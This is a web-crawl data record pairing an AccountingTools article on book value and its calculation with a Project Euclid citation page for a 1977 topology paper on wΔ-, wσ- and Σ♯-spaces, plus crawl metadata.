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https://www.accountingtools.com/articles/what-is-book-value.html | [
"# Book value\n\nBook value is an asset's original cost, less any accumulated depreciation and impairment charges that have been subsequently incurred. The book values of assets are routinely compared to market values as part of various financial analyses. For example, if you bought a machine for \\$50,000 and its associated depreciation was \\$10,000 per year, then at the end of the second year, the machine would have a book value of \\$30,000. If an impairment charge of \\$5,000 were to be applied at the end of the second year, the book value of the asset would decline further, to \\$25,000.\n\nBook value is not necessarily the same as an asset's market value, since market value is based on supply and demand and perceived value, while book value is simply an accounting calculation. However, the book value of an investment is marked to market periodically in an organization's balance sheet, so that book value will match its market value on the balance sheet date.\n\nBook value can also refer to the amount that investors would theoretically receive if an entity liquidated, which could be approximately the shareholders' equity portion of the balance sheet if the entity liquidated all of its assets and liabilities at the values stated on the balance sheet. The concept can also be applied to an investment in a security, where the book value is the purchase price of the security, less any expenditures for trading costs and service charges.\n\nYou can also determine the book value per share by dividing the number of common shares outstanding into total stockholders' equity. For example, if the shareholders' equity section of the balance sheet contained a total of \\$1,000,000 and there were 200,000 shares outstanding, then the book value per share would be \\$5.\n\nYou can compare the market value of the total number of an entity's outstanding shares to its book value to see if the shares are theoretically undervalued (if they sell at less than book value) or overvalued (if they sell at more than book value).\n\nThe book value concept is overrated, since there is no direct relationship between the market value of an asset and its book value. At best, book value can only be considered a weak replacement for market value, if no other valuation information is available about an asset.\n\nHow to Calculate Book Value (the book value formula)\n\nThe calculation of book value includes the following factors:\n\n+ Original purchase price\n+ Subsequent additional expenditures charged to the item\n- Accumulated depreciation\n- Impairment charges\n= Book value\n\nFor example, a company spends \\$100,000 to buy a machine and subsequently spends an additional \\$20,000 for additions that expand the production capacity of the machine. A total of \\$50,000 of accumulated depreciation has since been charged against the machine, as well as a \\$25,000 impairment charge. The book value of the machine therefore \\$45,000.\n\nRelated Courses"
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.95756435,"math_prob":0.99046767,"size":2906,"snap":"2019-35-2019-39","text_gpt3_token_len":589,"char_repetition_ratio":0.16815989,"word_repetition_ratio":0.020920502,"special_character_ratio":0.21541639,"punctuation_ratio":0.09259259,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98856646,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-09-16T10:29:03Z\",\"WARC-Record-ID\":\"<urn:uuid:1bf0ac07-3d5c-45d5-a4f0-946b2a0a7175>\",\"Content-Length\":\"63791\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a7269a8b-22f5-424d-be09-0d180fed3e49>\",\"WARC-Concurrent-To\":\"<urn:uuid:9c6323dd-355b-424b-b7fc-59bd3bfab5d5>\",\"WARC-IP-Address\":\"198.49.23.144\",\"WARC-Target-URI\":\"https://www.accountingtools.com/articles/what-is-book-value.html\",\"WARC-Payload-Digest\":\"sha1:VV5IQXDUTRFJRLNNUMPCBE4JLR2WEGOS\",\"WARC-Block-Digest\":\"sha1:MUXO76WC7OAD4ZRHT54Z3GRAFTTGZ5N3\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-39/CC-MAIN-2019-39_segments_1568514572517.50_warc_CC-MAIN-20190916100041-20190916122041-00125.warc.gz\"}"} |
https://projecteuclid.org/euclid.pjm/1102811435 | [
"Pacific Journal of Mathematics\n\nOn $w\\Delta$-spaces, $w\\sigma$-spaces and $\\Sigma^{\\sharp}$-spaces.\n\nArticle information\n\nSource\nPacific J. Math., Volume 71, Number 2 (1977), 419-428.\n\nDates\nFirst available in Project Euclid: 8 December 2004\n\nPermanent link to this document\nhttps://projecteuclid.org/euclid.pjm/1102811435\n\nMathematical Reviews number (MathSciNet)\nMR0493968\n\nZentralblatt MATH identifier\n0361.54012\n\nSubjects\nPrimary: 54D30: Compactness\nSecondary: 54E20: Stratifiable spaces, cosmic spaces, etc.\n\nCitation\n\nFletcher, Peter; Lindgren, William F. On $w\\Delta$-spaces, $w\\sigma$-spaces and $\\Sigma^{\\sharp}$-spaces. Pacific J. Math. 71 (1977), no. 2, 419--428. https://projecteuclid.org/euclid.pjm/1102811435"
] | [
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